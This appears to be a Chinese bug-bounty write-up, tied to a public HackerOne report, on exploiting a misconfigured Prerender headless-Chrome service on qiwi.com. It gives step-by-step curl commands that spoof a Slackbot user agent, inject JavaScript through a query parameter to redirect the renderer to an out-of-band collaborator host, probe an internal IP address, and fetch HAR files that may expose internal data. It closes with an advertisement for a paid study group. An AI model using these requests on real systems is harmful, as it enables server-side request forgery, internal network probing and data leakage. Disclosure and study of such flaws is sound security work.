在正常情况下,Prerender会接受用户代理为SlackbotLinkExpanding 1.0的请求,并渲染网页内容。这种请求不会包含恶意的JavaScript代码。例如:
curl -i -s -k -X 'GET' -H 'Host: qiwi.com' -H 'User-Agent: SlackbotLinkExpanding 1.0 (+https://api.slack.com/robots)' 'https://qiwi.com'
这个请求只是简单地请求了https://qiwi.com
的内容,并不会包含任何恶意的JavaScript参数。
受到攻击之后的请求
受到攻击之后的请求会利用javascript参数来执行恶意的JavaScript代码。例如,攻击者可以发送一个包含javascript=window.prerenderData=window.location.replace
参数的请求,将Prerender重定向到攻击者控制的服务器:
curl -i -s -k -X 'GET' -H 'Host: qiwi.com' -H 'User-Agent: SlackbotLinkExpanding 1.0 (+https://api.slack.com/robots)' 'https://qiwi.com/?javascript=window.prerenderData=window.location.replace("http://rytiogvgz2oh53enbt9rxuwmpdv4jt.burpcollaborator.net/")'
在这个请求中,参数 javascript=window.prerenderData=window.location.replace("http://rytiogvgz2oh53enbt9rxuwmpdv4jt.burpcollaborator.net/")
会导致Prerender执行JavaScript代码,将页面重定向到攻击者控制的域名burpcollaborator.net,从而实现CSRF或其他攻击目的。
正常请求:请求的URL只是单纯访问目标网站的内容,不包含任何恶意代码或参数。
攻击请求:请求的URL包含恶意的JavaScript代码,通过javascript参数注入,导致Prerender执行不该执行的脚本,进而实现内部网络探测或数据泄露。
1.信息收集
攻击者可能首先会对目标网站进行信息收集,以了解其技术栈和运行环境。这可以通过以下方法实现:
观察网站行为:攻击者可以访问网站并观察其行为,比如是否有任何明显的特性或指示表明使用了特定的预渲染工具。
分析HTTP头:通过分析HTTP响应头,可以发现一些关于服务器和应用的信息。例如,某些预渲染工具会在响应头中包含特定的标识信息。
2.用户代理探测
攻击者可以通过改变用户代理字符串来探测目标网站的行为。Prerender工具通常会响应特定的用户代理字符串,比如来自搜索引擎的爬虫或特定的机器人。
curl -I -H "User-Agent: SlackbotLinkExpanding 1.0 (+https://api.slack.com/robots)" https://qiwi.com
如果网站的响应与正常用户代理字符串不同,则可能表明该网站使用了Prerender或类似的工具。
3.特定请求参数探测
攻击者可能会尝试向网站发送特定的请求参数,以观察响应行为。某些预渲染工具可能会响应特定的参数,比如renderType或javascript。
curl -I "https://qiwi.com/?renderType=har"
如果响应中包含特定的内容类型或额外的信息,则可以推断出网站使用了Prerender工具。
4.分析响应内容
通过分析网站的响应内容,攻击者可以发现一些预渲染工具的特性。例如,生成的HAR文件或PDF文件可能包含特定的标识信息。
攻击者可以使用以下命令来获取和分析响应内容:
curl -O "https://qiwi.com/?renderType=har"
如果响应中包含特定的内容类型或额外的信息,则可以推断出网站使用了Prerender工具。(事实上,里面确实有Prerender的特征)
5.文档和开源项目
攻击者可以参考与目标网站相关的文档和开源项目,寻找使用Prerender工具的线索。如果目标网站使用的技术栈是开源的,攻击者可以在代码仓库中查找相关信息。
通过以上步骤,攻击者可以逐步收集信息并推断出目标使用了基于Headless Chrome的Prerender HAR Capturer 5.6.0
事实上我们在漏洞挖掘一个目标的时候,也要注意一个网站所使用的技术栈,比方说,如果一个目标使用的是java技术栈,那么它很有可能使用的是restful风格的api(了解了这一点就可以更加方便的去测试越权等漏洞)
攻击者发现使用特定的用户代理字符串SlackbotLinkExpanding 1.0 (+https://api.slack.com/robots)
可以触发Prerender来处理请求。
攻击者发现可以通过GET参数javascript来注入并执行JavaScript代码。
攻击者构造一个包含恶意JavaScript代码的请求。这个代码将导致Prerender执行不该执行的操作,如内部网络探测或重定向到攻击者控制的服务器。
1.发送普通请求以测试用户代理伪装
curl -i -s -k -X 'GET' -H 'Host: qiwi.com' -H 'User-Agent: SlackbotLinkExpanding 1.0 (+https://api.slack.com/robots)' 'https://qiwi.com'
这个请求只是简单地测试用户代理伪装是否成功触发Prerender处理请求。
2.发送包含恶意JavaScript代码的请求
攻击者利用GET参数javascript来注入JavaScript代码,使Prerender执行恶意操作。例如,重定向到攻击者控制的服务器:
curl -i -s -k -X 'GET' -H 'Host: qiwi.com' -H 'User-Agent: SlackbotLinkExpanding 1.0 (+https://api.slack.com/robots)' 'https://qiwi.com/?javascript=window.prerenderData=window.location.replace("http://rytiogvgz2oh53enbt9rxuwmpdv4jt.burpcollaborator.net/")'
在这个请求中,javascript=window.prerenderData=window.location.replace("http://rytiogvgz2oh53enbt9rxuwmpdv4jt.burpcollaborator.net/")
会导致Prerender执行以下JavaScript代码:
window.prerenderData = window.location.replace("http://rytiogvgz2oh53enbt9rxuwmpdv4jt.burpcollaborator.net/");
这段代码会让浏览器重定向到攻击者控制的服务器burpcollaborator.net,从而实现数据泄露或其他恶意行为。
3.内部网络探测
攻击者还可以利用同样的技术探测内部网络中的主机。例如,尝试访问内部IP地址:
curl -i -s -k -X 'GET' -H 'Host: qiwi.com' -H 'User-Agent: SlackbotLinkExpanding 1.0 (+https://api.slack.com/robots)' 'https://qiwi.com/?javascript=window.prerenderData=window.location.replace("http://10.250.33.17/")'
这会导致Prerender尝试访问内部IP地址10.250.33.17,从而确认该IP地址的存在和响应。
4.获取内部信息
通过查询特定参数(如renderType=har),攻击者可能会获取更多内部网络信息。例如:
curl -i -s -k -X 'GET' -H 'Host: qiwi.com' -H 'User-Agent: SlackbotLinkExpanding 1.0 (+https://api.slack.com/robots)' 'https://qiwi.com/?renderType=har'
这种请求可能会返回包含内部IP地址等敏感信息的HAR文件。
通过这个流程,攻击者利用Prerender的不安全配置,伪装成特定用户代理,注入恶意JavaScript代码,执行内部网络探测和数据泄露等攻击行为。每个环节的关键在于找到合适的注入点和伪装用户代理来触发Prerender执行不该执行的操作。
如果你是一个长期主义者,欢迎加入我的知识星球,我们一起往前走,每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款
前面有同学问我有没优惠券,这里发放100张100元的优惠券,用完今年不再发放
https://hackerone.com/reports/1153862